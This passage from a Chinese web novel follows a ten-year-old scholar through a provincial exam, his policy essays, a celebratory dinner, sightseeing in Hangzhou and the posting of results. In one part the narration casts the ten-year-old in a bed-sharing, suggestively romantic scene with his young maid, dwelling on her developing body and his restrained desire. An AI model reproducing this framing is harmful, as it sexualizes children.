胸中经纬安邦策,耳畔弦歌稼穑情。 今朝写就凌云志,要助山河四海平。 诗成,墨落。 最后“平”字的一捺,如利剑出鞘,带着一股斩钉截铁的决然。 整首诗,气势恢宏,对仗工整,意境高远。 从十年寒窗苦读,到万里边关的豪情,从胸中安邦定国的韬略,到耳边不忘百姓的稼穑之情,最后落笔于平定天下的凌云壮志。 层层递进,一气呵成。 写完最后一个字,陆明渊缓缓放下笔,轻轻吹了吹纸上的墨迹。 他看了一眼窗外,天光依旧朦胧,而他,已经答完了整张试卷。 周围的号舍里,依旧是奋笔疾书的沙沙声,间或夹杂着几声压抑的咳嗽与长长的叹息。 他没有再去看试卷,也没有焦躁不安,只是静静地坐着,闭目养神,调整着自己的呼吸与精神。 不知过了多久,当考官宣布第一场考试结束的钟声响起时,陆明渊才缓缓睁开眼睛。 “收卷——!” 巡考吏开始挨个号舍收取试卷。 收卷完毕,考官宣布:“原地休息一炷香,不得走动,不得交谈。可进食饮水。” 压抑的气氛稍稍松懈了一些。 陆明渊从随身的食盒里,取出了若雪早上为他准备的干粮。 不是什么精致的糕点,只是几个普普通通的玉米馍馍。 一个馍馍下肚,再喝了几口清水,陆明渊感觉自己的精力与体力都恢复了不少。 一炷香的时间,转瞬即逝。 “当——!” 钟声再次响起,比之前更加沉重,仿佛敲在每个人的心坎上。 第二场考试,正式开始。 如果说第一场考的是基础,那么第二场考的,便是真正的才学与见识。 经义、论、诏、判、表、诰,各自三道。 每一道题,都需要写出至少两百字的文章。 这不仅考验考生对经义的理解深度,更考验他们的逻辑思辨能力、公文写作能力,以及对时政民生的洞察力。 当新的试卷发到手中,整个贡院的气氛,瞬间变得比第一场时还要凝重。 许多考生看着那些题目,眉头紧锁,脸色煞白。 这些题目,包罗万象。 有要求以《周礼》之义,论“朝廷盐铁专卖之利弊”的。 有模拟一道圣旨,嘉奖平定倭寇的边关将领的。 有给出一个民间田产纠纷的案例,要求考生写一份判词的。 每一道题,都极其刁钻,极其考验功底。 空有满腹经纶,却不通庶务的“书呆子”,在这样的考题面前,根本无从下笔。 陆明渊看着这些题目,眼神却亮了起来。 这些,正是他最擅长的。 在江宁府的那段时日,他与林瀚文时常对坐清谈。 从漕运海运之争,到江南的赋税改革,从官场的人事变动,到民间的疾苦。 林瀚文这位封疆大吏,将自己几十年的为官心得与对大乾王朝政局的见解,毫无保留地讲给他听。 那些从实践中得来的真知灼见,远比书本上的圣人之言,要来得更加深刻,更加鲜活。 他再次拿起墨锭,开始研墨。 这一次,他的动作比之前更慢,更沉。 他的大脑在飞速运转,一道道题目的破题之法映于脑海之中。 当墨汁再次研磨得恰到好处时,陆明渊的眼中,已经是一片清明。 所有的腹稿,都已打好。 他提起笔,这一次,笔锋之上,不再仅仅是少年的意气风发,更添了几分经世济民的沉稳与老练。 他将笔尖,对准了第一道题——“论朝廷盐铁专卖之利弊”。 笔尖微顿,随即,悍然落下! 第150章 以小见大,以点带面! 他将笔尖,对准了第一道题——“论朝廷盐铁专卖之利弊”。 笔尖微顿,随即,悍然落下! 论盐铁,他并未简单地从“与民争利”或“充盈国库”这两个老生常谈的角度切入。 他笔锋一转,直指核心——盐铁之政,非经济之策,实乃控驭天下之术。 盐,关系民生根本,铁,关乎军国利器。 朝廷专卖,利在收天下之权于中枢,弊在官僚经手,层层盘剥,致使良法变为恶政,利器反成民怨之源。 他的文章,引经据典,却不拘泥于古法。 从汉之桑弘羊,到唐之刘晏,历朝历代的盐铁政策得失,在他笔下信手拈来,如数家珍。 最后,他提出了自己的见解:官督商办,以盐引为凭,开放部分铁器民营,朝廷设铁范院,专司军国重器之铸造。 如此,既能保证国库收入,又能激发民间活力,更能将无数官吏从这巨大的利益链条中解放出来,以清吏治。 一篇洋洋洒洒的千字文,一气呵成。 紧接着是模拟圣旨,嘉奖平倭将领,寥寥三百字,恩威并施。 至于那道田产纠纷的判词,他更是游刃有余。 他没有简单地依据律法条文做出裁断,而是从“情、理、法”三个层面层层深入。 先述宗族之情,再论乡邻之理,最后才以国法为绳,做出判决。 判词言辞恳切,入情入理。 十五道题目,涵盖了吏、户、礼、兵、刑、工六部庶务,仿佛一张无形的大网,考验着考生经世致用的能力。 寻常考生,能答完其中一半,便已是竭尽心力。 对于陆明渊而言,不过寻常! 他和林瀚文学习了整整三个月,这位封疆大吏,也尽心尽力地教导了三个月! 即便是愚笨之人,也足以应付乡试! 更何况陆明渊天资过人,聪慧无比! 整整两个时辰,当他写完最后一个字,轻轻搁下笔时,窗外的天光已经开始偏西。 饶是以他远超常人的心神与体力,此刻也感到了一阵发自骨子里的疲惫。 腰背酸痛,手腕更是如同灌了铅一般沉重。 这号舍实在太过狭小,连伸个懒腰都显得奢侈。 陆明渊只能在方寸之地,缓缓扭动着脖颈与肩膀,活动着僵硬的筋骨。 简单的舒展过后,他再次从食盒中拿出那个玉米馍馍。 还是那个味道,干硬,却带着一丝回甘。 他小口小口地吃着,仿佛在品尝什么山珍海味。 这九个时辰的鏖战,不仅是对学识的考验,更是对身体的摧残。 乡试三场,连为一体,中间只有短暂的休息时间。 多少才华横溢之辈,不是输在学问上,而是败给了这残酷的赛制。 精力不济,在最关键的第三场考试中功亏一篑。 所以,他必须抓紧每一分每一秒,恢复体力。 一个时辰后,天色已然昏暗。 “当——!” 悠长的钟声再次响起,宣告着第二场考试的结束。 巡考吏们举着灯笼,开始新一轮的收卷。 甬道间,灯火摇曳,将一张张或焦灼、或茫然、或疲惫的脸庞映照得忽明忽暗。 “原地休息,发放蜡烛!” 考官的声音在暮色中回荡。 很快,一根根粗大的牛油蜡烛被分发到每个号舍。 昏黄的烛光亮起,将这片巨大的考场点缀得如同繁星落地,只是这片星光之下,没有浪漫,只有无声的煎熬。 “半个时辰后,第三场考试开始!” 陆明渊没有理会周围的动静,默默屏息凝神 时间在寂静中流淌,半个时辰,仿佛只是一次深长的呼吸。 “当——!当——!当——!” 第三次钟鸣,比前两次更加急促,也更加沉重。 陆明渊睁开眼,眸子亮得惊人。 巡考官再次入场,脚步声在寂静的夜里显得格外清晰。 最后一份试卷,被递了进来。 第三场,策论! 经史时务,包罗万象,这才是真正决定一名考生上限的考场。 也是决定未来朝堂之上,究竟是多一个循规蹈矩的官僚,还是多一个能匡扶社稷的栋梁。 这也是林瀚文,对他倾注心血最多的地方。 烛光重新亮起,陆明渊的目光落在了试卷之上。 一共五道大题。 第一道题目,便气象万千,颇为宏大。 “礼乐,治之本也,其创制可得而闻乎?政令,治之具也,其立法可得而论乎?” 这道题,看似空泛,实则暗藏机锋。 它考验的,是考生对于“王道”与“霸道”、“德治”与“法治”之间关系的理解。 一个不慎,便会落入空谈心性,或是迷信严刑峻法的窠臼。 陆明渊的嘴角,却勾起一抹淡淡的笑意。 他几乎没有思索,便有了破题之法。 他提笔写道:礼乐者,国之堤坝也;政令者,渠中之流水也。 无堤坝,则洪水滔天,民无所依;无流水,则堤坝空设,田园干涸。二者,体用合一,缺一不可。 他从“体”与“用”的角度,直接点明了礼乐与政令的根本关系,立意便高出寻常答卷一筹。 随即,他引上古三代之治,论礼乐如何从人心出发,凝聚共识,形成社会秩序的根基。 又引秦汉之变,论政令如何将这秩序具象化,成为治理国家的工具。 第二道题,则回归到了民生根本。 “农桑所以养民也,限田、均田、口分、世业,何以定其制乎?” 土地,是王朝的命脉。 历朝历代的兴衰,几乎都与土地制度的成败息息相关。 陆明渊对此早有腹稿。 他深知,任何单一的土地制度,都无法适应大乾王朝辽阔疆域下复杂的地理与人文环境。 他旗帜鲜明地提出,土地之策,当因地制宜,不可一概而论。 “江南鱼米之乡,商贸繁盛,当行‘田骨田皮’之法,以促流转,增其效益。” “北方苦寒之地,地广人稀,当行‘军屯民垦’之策,以固边防,养其生息……” 答完前两题,陆明渊稍稍活动了一下手腕,目光投向了第三题。 这一题,考的是时政。 “去年,陕西行省,鞑靼部入寇,掠粮草三十万石,军民死伤甚重。问:何以处之?” 看到这道题,陆明渊的眼神陡然变得锐利起来。 他想起了林瀚文书房里那张巨大的舆图,想起了林瀚文指着北境边墙时,对自己的教导。 “堵,是堵不住的。” 林瀚文当时说道,“草原如水,无孔不入。一味地修墙,一味地打仗,只会耗尽国力,却无法根除问题。” 此刻,林瀚文的话语,仿佛就在耳边回响。 他深吸一口气,在纸上写下了自己的破题思路——《论开边市以制北虏疏》。 堵不如疏! 他开篇便直言,鞑靼入寇,根源在于“缺”。 草原苦寒,冬日漫长,一旦遭遇白灾,牛羊冻毙,牧民便无以为生,除了南下劫掠,别无活路。 此乃生存之争,非好战之故。 因此,一味征伐,治标不治本。 唯有从“缺”字上做文章,方是长久之计。 他的策略,大胆而又缜密。 “开边市,立榷场。以我朝之茶、盐、布、铁锅,换其牛、羊、马匹、皮毛。使其知,贸易之利,远胜劫掠之功。” “然,交易之物,须有区别。粮草、铁器,可售,但须限量。” “使其足食,却不足以蓄养成军;使其有器,却不足以精炼兵甲。” “以商路为缰绳,以货物为食饵,将其牢牢拴于我大乾之侧。” “使其生计系于我,则不敢轻动刀兵。久而久之,其悍勇之气自消,而仰我天朝之心自生。” 这篇策论,已经完全超出了一个普通考生的范畴。 它所展现出的战略眼光和对人性、对经济的深刻洞察,足以让任何一位朝中大员为之动容! 第四道题,考刑法改革。 陆明渊结合自己在江苏的见闻,针对“良贱之分”与“律法繁苛”两大弊病,提出了“减贱籍,慎刑罚”的主张。 终于,只剩下最后一道题。 这也是整场乡试,分量最重,难度最大的一道题。 “问:何以振我大乾国朝之经济?” 这是一个无比宏观,几乎可以写成一部专著的题目。 它可以从农、工、商任何一个角度切入,也可以从税赋、漕运、货币等任何一个方面展开。 无数考生看到这道题,恐怕会头脑发昏,不知从何下笔。 陆明渊凝视着题目,大脑飞速运转,无数的念头如同星辰般闪烁、碰撞。 宏观的论述,固然能展现学识,却容易流于空泛。 他决定,落实于具体! 以小见大,以点带面! 第151章 明渊兄,你这眼光,真是绝了! 陆明渊落笔的第一个字,是“农”。 大乾王朝,以农为本。 天下之财,十之七八出于田亩。 振经济,若不从根本处着手,一切皆为虚妄。 他没有空谈劝课农桑的陈词滥调,而是选择了最核心的问题——佃户与自耕农。 “天下之田,非止一类。江南水乡,阡陌纵横,一人之力,不过数亩。然其精耕细作,一年两熟,乃至三熟,亩产之利,冠于天下。” “此地之策,当在‘水’字。兴修水利,非一县一府之功,当由布政司统筹,以工代赈,疏通河道,修筑堤堰。水利兴,则涝旱无虞,民心自安,此为第一要义。” “然,水利之工,耗费巨大,国库或有不逮。臣以为,可效仿‘盐引’之法,设‘水利引’。” “凡出资修渠者,官府授予水利引,凭引可抵部分税赋,亦可流转交易。如此,则能引民间巨富之资,为国所用,公私两便。” 笔锋流转,自江南的烟雨朦胧,一路向北,抵达了黄土漫天的中原。 “中原之地,沃野千里,然地力有穷,民众多有流散。” “其弊,在于‘税’。国朝税制,一体通用,于江南或为轻,于中原则为重。臣请设‘阶梯税亩’之法。以县为单位,核定田亩之上中下三等。” “上田税重,中田税平,下田税轻。且,一家之内,田亩逾百者,其超出部分,税率倍增。” “此法非为与富户争利,实为抑土地兼并之风,使无地之民,有田可耕,有粟可食。” 陆明渊的思绪随即开始敞开,将他关于土地改革的一系列想法,纷纷跃于纸上! 林瀚文三个月的倾囊相授,那些深夜书房中的对谈,那些对历朝历代得失的剖析。 此刻尽数化作了他笔下的千军万马,纵横捭阖,气象万千。 烛火渐渐燃尽,换了一根又一根。 号舍之内,墨香与烛泪的气味交织在一起,浓得化不开。 陆明渊浑然不觉。 他的精神已经完全沉浸在这篇策论之中,仿佛与天地精神相往来。 一种前所未有的明悟,如同一道清光,划破识海。 他明白了林瀚文所说的“心中要存有一片赤诚,一片丹心”。 这赤诚,这丹心,不是对某个具体的人,而是对这片土地,对这土地上生生不息的万民。 当最后一个字落下,他手中的笔,仿佛重若千钧。 他缓缓将笔搁在砚台上,发出一声轻微的“嗒”。 这一声轻响,如同暮鼓晨钟,将他从那种玄之又玄的境界中唤醒。 洋洋洒洒,足足一千五百余字,每一个字都凝聚着他的心血与思考。 他抬起头,看向窗外。 天色早已不是昏暗,而是如浓墨般的漆黑,唯有一轮残月,高悬于天际,洒下清冷的光辉。 亥时三刻。 时间,竟已如此之晚。 持续了九个时辰的鏖战,加上这最后心神的极致消耗,按理说他早该油尽灯枯。 然而此刻,陆明渊却丝毫感受不到疲惫。 一股难以言喻的暖流,从腹部升起,流遍四肢百骸。 精神前所未有的清明,思维也前所未有的敏锐。 腰背的酸痛,手腕的沉重,早已消失无踪。 他只觉得,自己的心境,仿佛被一场甘霖洗涤过,通透澄澈,再无一丝滞碍。 这便是……道心通明么? 陆明渊缓缓闭上眼,唇角不自觉地勾起一抹笑意。 半个时辰,在寂静的等待中悄然流逝。 “当——!” 这一次的钟声,不再急促,而是带着一种终结一切的肃穆与悠长。 主考官威严的声音响彻整个贡院:“时辰到!所有考生,即刻停笔!巡考官,收卷!” 话音刚落,整个贡院仿佛瞬间从死寂中活了过来。 压抑了整整一天的情绪,在这一刻轰然爆发。 “考官大人!求求您,再给我一点时间!就差一点,就差一点点了!” 一个号舍里传来了撕心裂肺的哭喊,带着绝望的哀求。 紧接着,是笔杆被“啪”的一声折断的脆响,伴随着压抑的呜咽。 “十年啊!我苦读十年!为何……为何就是写不完啊!” “天亡我也!天亡我也!” 哭声,骂声,叹息声,此起彼伏。 巡考官们面无表情地穿行在甬道间,将一份份或写满、或空白、或被泪水浸染的试卷收走。 他们的动作机械而冷漠,仿佛早已见惯了这般人间悲喜剧。 陆明渊静静地听着周围的动静,心中微有波澜。 他知道,对于这些考生而言,这一场考试,承载了他们太多年的希望与梦想,也承载了整个家族的荣辱兴衰。 一朝失利,那份打击,足以摧毁一个人的心志。 科举之路,本就是一条千军万马过独木桥的血路。 看似风光,实则残酷无比。 人生百态,浓缩于此。 他轻轻叹了口气,开始收拾自己的考篮。 就在这时,隔壁的号舍门帘被掀开,一道身影走了过来,带着一股少年人特有的飞扬意气。 “明渊兄,感觉如何?” 来人正是林博文。 他脸上带着一丝考后的疲惫,但更多的却是抑制不住的兴奋与自信。显然,他对自己这次的发挥极为满意。 陆明渊笑了笑:“尚可。” “哈哈,明渊兄还是这般谦逊。” 林博文大笑一声,随即凑近了些,压低声音,眼中闪烁着光芒。 “不过,我可得提前告诉你一声,这次乡试的魁首,怕是要被我林某人拿下了!” 看着他这副模样,陆明渊也不由得莞尔。 他知道林博文并无恶意,这只是天才之间的一种惺惺相惜与玩笑。 “那便提前恭喜博文兄了。” 陆明渊拱了拱手,眼中带着笑意。 “你这家伙!” 林博文见他不上钩,无奈地摇了摇头,随即也笑了起来。 “走吧,离开这个鬼地方,我感觉自己都快发霉了。” 两人相视一笑,各自拿起分发的蜡烛,随着人流,缓缓走出了这片承载了无数人梦想与泪水的贡院。 夜风清凉,吹散了考场内的沉闷与燥热,让人精神为之一振。 贡院外,早已是人山人海,灯笼汇聚成一条光明的河流。 无数的家人、仆役翘首以盼,焦急地在人群中寻找着自家考生的身影。 陆明渊的目光在人群中扫过,很快,便定格在不远处的一道身影上。 那是一棵老槐树下,一个孑孑而立的少女。 她没有像其他人那样提着灯笼,却比任何灯火都要明亮。 若雪今日穿了一件月白色的旗袍。 没有繁复的绣花,只在领口与袖口处,用银线勾勒出几朵素雅的兰草。 合体的剪裁,将她那已经初具规模的少女身段勾勒得恰到好处,纤腰一握,身姿挺拔如竹。 夜色与周围的喧嚣,仿佛都成了她的背景板。 她就那么安安静静地站着,清冷的气质如同一朵于月下悄然绽放的雪莲,超然脱俗。 在一众焦灼等待的人群中,若雪显得格外出众。 一旁的林博文顺着陆明渊的目光看去,不由得倒吸一口凉气,眼中满是惊艳。 “明渊兄,那……那是……” 陆明渊点了点头,迈步向若雪走去。 林博文连忙跟上,一边走一边啧啧称奇。 “我算是服了!明渊兄,你这眼光,真是绝了!这等绝色,怕是秦淮河上的那些花魁,也要逊色三分啊!” 他的声音不小,带着毫不掩饰的羡慕。 走到近前,若雪也看到了他们,清冷的眸子里泛起一丝柔和的波澜,对着陆明渊微微屈膝一礼。 “公子。” 她的声音,如泉水叮咚,清脆悦耳。 被林博文那般直白的夸赞,饶是她性子清冷,白皙的脸颊上也飞起一抹淡淡的红晕,她连忙解释道。 “林公子谬赞了,若雪只是公子的婢女,当不得如此夸奖。” “婢女?” 林博文瞪大了眼睛,一脸的不敢置信。 陆明渊却打断了她的话,声音温和地说道。 “站了许久,累了吧?” 若雪摇了摇头。 陆明渊看着她,语气不容置喙。 “一起去吃点夜宵,等会儿再回客栈。” 一旁的林博文看得眼睛都直了,他一把揽住陆明渊的肩膀,压低声音,满脸坏笑。 “明渊兄,不地道啊!金屋藏娇也就算了,还这般体贴入微,这是要羡煞我等啊!” “夜宵算我一个,如何?正好,我也饿得前胸贴后背了!” 陆明渊无奈地看了他一眼,点了点头。 三人便在这如水的月色与摇曳的灯火中,朝着不远处灯火通明的酒楼走去。 少年的意气风发,少女的清丽绝尘,构成了一幅动人的画卷。 第152章 时辰到了,该去贡院看榜了! 三人择了一家临街的酒楼,名为“望江月”。 虽非江宁府内最顶级的销金窟,却胜在热闹,充满了人间烟火气。 伙计们穿梭如织,碗碟碰撞声、食客的谈笑声、街边的叫卖声,汇成了一曲鲜活生动的市井交响。 这种喧嚣,恰好能冲淡贡院九个时辰带来的压抑与沉闷。 林博文显然是此地的常客,大手一挥,点了满满一桌子菜,又要了一坛上好的女儿红。 酒过三巡,菜过五味,林博文那张俊朗的脸上已是酡红一片,说话的舌头也大了几分。 他举着酒杯,重重地在陆明渊杯沿上一碰。 “明渊兄!来,再走一个!” “我跟你说,这次的策论,我写的是‘开海禁,通商路’!” “我老师早就跟我分析过,朝中漕运与海运之争已到白热化,圣上亦有此意。” “我这篇策论,上承天心,下合时势,不说经天纬地,也足以振聋发聩!这乡试解元,舍我其谁!” 他意气风发,仿佛已经看到了金榜题名,名动江南的那一刻。 陆明渊含笑听着,只是安静地饮酒,并不与他争辩。 他知道,林博文的才华与见识,在同龄人中确实是翘楚。 周泰身为杭州知府,眼界自然非凡,指点弟子的方向也必然是朝堂热点。 只是,这等题目,固然容易出彩,却也容易落入窠臼。 天下英才何其多,能想到这一点的,绝不止林博文一人。 若雪在一旁安静地侍立着,为两人添酒布菜。 她的目光,十有八九都落在陆明渊身上,见他杯中酒浅,便立刻斟满。 见他看哪道菜,便悄然将那碟菜转到他面前。 这份细致入微,让一旁醉眼惺忪的林博文都看得啧啧称奇。 “明渊兄,你……你这福气,真是……真是羡煞旁人!” “有此佳人红袖添香,怪不得你能写出那等惊艳文章!不行,等我中了举,我也要……也要找一个!” 若雪的脸颊上又飞起一抹红霞,她垂下眼帘,长长的睫毛在烛光下投下一片细碎的阴影。 陆明渊看了她一眼,对林博文笑道:“博文兄喝多了。” 一顿夜宵,直吃到月上中天,酒楼的客人都已散得七七八八。 林博文在小厮的搀扶下,一步三晃地告辞离去。 他明日要去府衙拜见老师周泰,便不与陆明渊同行了。 酒楼外,夜风更凉,吹在脸上,带着一丝水汽的湿润。 陆明渊与若雪并肩走在返回客栈的石板路上,一路无话。 回到客栈房间,若雪先是为陆明渊点亮了烛火,然后熟练地端来热水,拧了热帕子递给他。 陆明渊擦了擦脸,酒意褪去了几分,整个人也清醒了不少。 他看着眼前少女忙碌的身影,她为他铺床,整理被褥。 做完这一切,若雪转身,似乎是想去角落的柜子里抱出那床属于她自己的薄被。 “不用拿了。” 陆明渊的声音忽然响起。 若雪的动作一顿,回过头,清澈的眸子里带着一丝疑惑。 陆明渊看着她,烛光在他的眼眸深处跳跃,声音平静地重复了一遍。 “今晚就这么休息。” 就这么……休息? 若雪怔住了,她看着床榻上那唯一的一床锦被,脑子里“嗡”的一声。 她白皙的脖颈以肉眼可见的速度,迅速染上了一层动人的绯红。 她……她当然明白这句话的意思。 这些日子以来,公子待她极好,从未有过半分轻薄之举,甚至连一句重话都未曾说过。 她早已将自己的身与心,都当成了是公子的人。 只是,她从未想过,这一天会来得如此之快,如此……突然。 她的心跳得如同擂鼓,双手紧张地攥着衣角,指节都有些发白。 脑海中一片空白,既有少女的羞怯与惶恐,又有一丝连她自己都未曾察觉的……隐秘的期待与欢喜。 她就那么站着,低着头,不敢去看陆明渊的眼睛。 许久,她才听到自己用细若蚊蚋的声音,轻轻地“嗯”了一声。 这一声“嗯”,仿佛用尽了她全身的力气。 是夜,烛火熄灭,满室黑暗。 若雪拘谨地躺在床榻的最外侧,身体绷得像一张拉满的弓。 她能清晰地感受到身旁传来的,属于陆明渊的体温与呼吸。 那是一种陌生的,带着淡淡墨香与酒气的男性气息,将她整个人都包裹了起来。 她的心,依旧跳得飞快。 一夜无话。 陆明渊确实没有再做任何出格的举动。 他只是静静地抱着她,感受着怀中少女柔软的身体与均匀的呼吸。 他并非柳下惠,更不是什么圣人。 怀中温香软玉,要说没有半分绮念,那是自欺欺人。 只是,理智告诉他,现在还不是时候。 他这具身体,满打满算,不过十岁。 根基未稳,元阳未固,过早沉溺于男女之事,无异于竭泽而渔。 对日后的身体与精神,都有百害而无一利。 他要走的路还很长,要面对的敌人也远比想象中强大。 一副强健的体魄,才是他未来安身立命的根本。 男欢女爱,不急于一时片刻! …… 第二日清晨,当第一缕天光透过窗棂照进房间时,若雪悠悠转醒。 她一睁眼,便对上了一双深邃明亮的眸子。 陆明渊早已醒来,正侧躺着,单手支着头,饶有兴致地看着她。 “啊!” 若雪低呼一声,这才发现自己不知何时,竟像一只小猫一样。 整个人都蜷缩在了他的怀里,一条腿还不甚雅观地搭在他的身上。 她的脸“腾”地一下红透了,像是熟透的苹果,连忙手忙脚乱地想要退开。 陆明渊却收紧了手臂,不让她动弹,唇角勾起一抹促狭的笑意。 “醒了?” “公……公子……” 若雪的声音细如蚊蚋,羞得恨不得找个地缝钻进去。 昨夜肌肤相亲的触感,那种同床共枕的亲密,却比任何事情都更让她心神激荡。 尤其是想起自己睡梦中那些不规矩的姿势,更是让她无地自容。 看着她那副羞赧又迷茫的可爱模样,陆明渊心中一动,忍不住低头,在她的额头上轻轻啄了一下。 温润的触感,一触即分。 若雪却像是被闪电击中一般,整个人都僵住了,唯有那双长长的睫毛,如同受惊的蝶翼,不停地颤抖着。 乡试放榜,尚有三日。 这三天,成了陆明渊难得的逍遥时光。 他没有像其他考生那样,焦灼地在客栈里踱步,或是四处拜访,打探消息。 他带着若雪,游遍了这杭州府的山山水水。 “欲把西湖比西子,淡妆浓抹总相宜。” 苏子瞻的诗句,早已将西湖的美写到了极致。 两人泛舟湖上,看远山如黛,近水含烟,垂柳拂堤,画舫穿行。 陆明渊指点着苏堤春晓,雷峰夕照,为若雪讲述着那些流传千古的典故与诗篇,引得若雪美目之中异彩连连。 比起江宁府的雄浑厚重,杭州府更多了几分江南水乡的婉约与灵秀。 陆明渊还特意寻了杭州城里最好的裁缝铺子,亲自画了几个后世旗袍的图样,让师傅为若雪量身定做了几身新衣。 当若雪换上一身天青色的素面旗袍,从屏风后走出来时,即便是陆明渊,眼中也闪过一丝惊艳。 那合体的剪裁,将少女初具规模的玲珑曲线勾勒得淋漓尽致。 高高的领口衬得她脖颈修长,宛如天鹅。 恰到好处的开衩,让她行走之间,一双笔直纤细的小腿若隐若现,平添了几分动人的风情。 再配上她那清冷如雪莲的气质,整个人站在那里,便如同一幅会行走的水墨画,清雅脱俗,绝代风华。 两人同游西湖,一个是从容淡定的俊秀少年,一个是清丽绝尘的旗袍少女,几乎吸引了所有游人的目光。 不少文人墨客看得痴了,纷纷打探这是哪家的公子小姐,只道是神仙眷侣,误入凡尘。 对于这些注视,陆明渊早已习惯,毫不在意。 他只是享受着这份难得的宁静,与身边佳人的陪伴。 这三天里,两人的感情也在不经意间迅速升温。 他们不再仅仅是主仆,更像是知己。 从诗词歌赋,聊到经史子集;从坊间趣闻,聊到时政利弊。 陆明渊惊讶地发现,若雪的学识之渊博,远超他的想象。 许多自己都是凭借着过目不忘的“外挂”才记下的偏僻典籍,她竟也能信手拈来,对答如流,甚至还能提出一些颇有见地的看法。 这让陆明渊对她不由得刮目相看。 而若雪,也对陆明渊有了更深的了解。 她原以为,陆明渊只是天赋异禀的读书天才。 可这几日的相处,她才发现,陆明渊的见识与胸襟,早已超越了书本的范畴。 他对天下大势的洞察,对民生疾苦的关怀,对人情世故的练达,都让她感到一种由衷的敬佩与仰慕。 这份喜欢,不再仅仅是出于感激与依赖,而是源于灵魂深处的吸引与共鸣。 她看着他指点江山的侧脸,看着他谈笑风生的眼眸。 只觉得这个年仅十岁的少年,身上仿佛笼罩着一层迷雾,让她看不真切,却又忍不住想要靠近,想要去探寻。 逍遥的时光总是短暂。 第三日午后,林博文兴冲冲地找上了门。 “明渊兄!快走!时辰到了,该去贡院看榜了!” 他一脸的兴奋与紧张,摩拳擦掌,跃跃欲试。 陆明渊微微一笑,放下了手中的茶杯,站起身来。 “走吧。” 林博文与若雪紧随其后。 三人一起,朝着那决定了无数读书人命运的贡院揭榜处,大步走去。 第153章 癸卯科乡试,解元:陆明渊 贡院门前那片平日里可供车马通行的宽阔广场,此刻被黑压压的人头填得密不透风。 乡试放榜,远非院试可比。 院试中的是秀才,是功名的起点,赌的是一份遥远的未来。 而乡试中的是举人,是“老爷”,是真正踏入了士大夫阶层的门槛,有了做官的资格。 这不仅仅是读书人的盛会,更是商贾豪绅们的猎场。 人群中,除了那些面带焦灼与期盼的士子,还有不少衣着光鲜,眼神精明的中年人。 他们不关心圣贤文章,只关心榜上姓名。 每一个新出炉的举人,都是一个潜力无穷的未来。 一次成功的早期投资,便可能换来数十年的庇护与通天的人脉。 空气中弥漫着汗水、劣质熏香和紧张情绪混合在一起的复杂味道。 “让一让!劳驾,让一让!” 林博文一马当先,用他那略显单薄的身板奋力在人潮中开路。 他毕竟是官宦子弟,身上自有一股气势,寻常人也不愿与他计较。 陆明渊则不动声色地护在若雪身侧,用身体隔开周围拥挤的人群。 若雪微微低着头,跟在两人身后。 费了九牛二虎之力,三人总算挤到了最前方,这里视野开阔,能清晰地看到贡院紧闭的朱漆大门。 “咚——咚——咚——” 三声沉闷的鼓响,自贡院内传出,像是敲在每个人的心坎上。 原本鼎沸的人声,于此刻竟奇迹般地矮了下去,无数双眼睛,齐刷刷地望向那扇大门。 “吱呀——” 厚重的门板缓缓开启,几名身着皂衣的衙役抬着一张巨大的红榜,步履沉稳地走了出来,身后跟着一名身穿官服的唱榜官。 红榜被高高挂在早已预备好的榜墙上。 那鲜红的底色,在午后的阳光下刺得人眼睛生疼。 上面用乌黑的墨迹,写满了一个个承载着无数希望与汗水的名字。 “癸卯科乡试,取中者,共计七十五名,榜列于此,以告天下!” 唱榜官清了清嗓子,声音洪亮,传遍了整个广场。 人群瞬间炸开了锅,后面的人拼命往前挤。 前面的人踮着脚尖,伸长了脖子,试图从那密密麻麻的字迹中,找到自己或亲友的名字。 “中了!我中了!第七十二名!哈哈,我张闯中了!” 一个衣衫洗得发白的青年看到自己的名字,先是愣了半晌,随即状若疯癫地大笑起来,笑着笑着,眼泪便滚滚而下。 几家欢喜几家愁。 更多的人,是在榜上寻觅良久,最终颓然地垂下头,眼神黯淡,仿佛被抽走了全身的精气神。 陆明渊与林博文的目光,也落在了那张红榜之上。 他们并未从后往前看,而是直接扫视着榜单的整体。 榜单上,并没有他们的名字。 林博文非但没有丝毫失望,反而哈哈一笑,胸有成竹地拍了拍陆明渊的肩膀。 “明渊兄,看到了吧,这正榜之上,没有你我之名。” 陆明渊神色平静,点了点头。 “这便说明,你我二人,必定在前五之列!这正榜,还入不得你我的眼!” 乡试有规矩,前五名,即“五经魁”,会单独列出,由唱榜官当众宣唱,以示荣耀。 这番话,他并未刻意压低声音,在这相对安静的前排,显得格外清晰。 话音刚落,旁边便传来一声满含讥讽的嗤笑。 “呵,好大的口气!还前五?你当这乡试是什么地方?是你家后花园吗?” 一个二十岁上下的青年士子斜睨着林博文,嘴角挂着不屑的笑容。 此人名叫陈彦航,也是杭州府小有名气的才子,自视甚高,连考了两次乡试,自觉这次把握极大。 他最看不惯的,便是林博文这种出身优越、锋芒毕露的少年天才。 “你是谁?也配在此口出狂言?” 陈彦航的目光又落在了陆明渊身上,见他不过是个十岁孩童,眼中的鄙夷更盛。 “还有你这个小屁孩,毛长齐了没有?也敢妄言前五?你可知道这是什么考试?” “这是乡试!我大乾立朝以来,乡试魁首最年轻者,乃是当朝神通,兵部尚书张太岳。” “饶是以太岳先生那般天赋,那也是十六岁中的举人!” “这便是我大乾五十年来无人能破的记录!一个十岁小儿,也想中举?简直是滑天下之大稽!” 他的声音不小,立刻引来了周围不少人的侧目。 众人一看,见陆明渊如此年幼,也纷纷露出惊疑之色,不少人暗暗点头,觉得陈彦航说得有理。 十岁中举,这确实是闻所未闻之事。 林博文闻言大怒,俊朗的脸涨得通红,正要反唇相讥,却被陆明渊轻轻按住了手臂。 林博文回头,看到陆明渊那平静如水的眼眸,心中的火气竟莫名地消散了几分。 他深吸一口气,冷冷地看着陈彦航,沉声道:“人外有人,天外有天。井底之蛙,又岂知皓月之光辉?” 他一指陆明渊,朗声道。 “我林博文此番或许不中,但我身边这位明渊兄,必中!而且,必在三甲之内!” “哈哈哈!” 陈彦航像是听到了天大的笑话,突然大笑起来,笑得前仰后合。 “还三甲?吹牛好歹也有个限度!真当自己是文曲星下凡,天下无敌了?好!好!今天我就把话撂在这儿!” 他伸出手指,恶狠狠地指着陆明渊,对周围众人高声道。 “他要是能中举,别说三甲,只要他能上榜!” “我陈彦航,就把这颗脑袋拧下来给你们当夜壶!给这位林公子当蹴鞠踢着玩儿!” 这番话说得粗鄙不堪,已然是赌咒发誓,可见其笃定与怨毒。 周围的人群发出一阵低低的哗然,都觉得这赌注下得太大了。 “你……” 林博文气得浑身发抖。 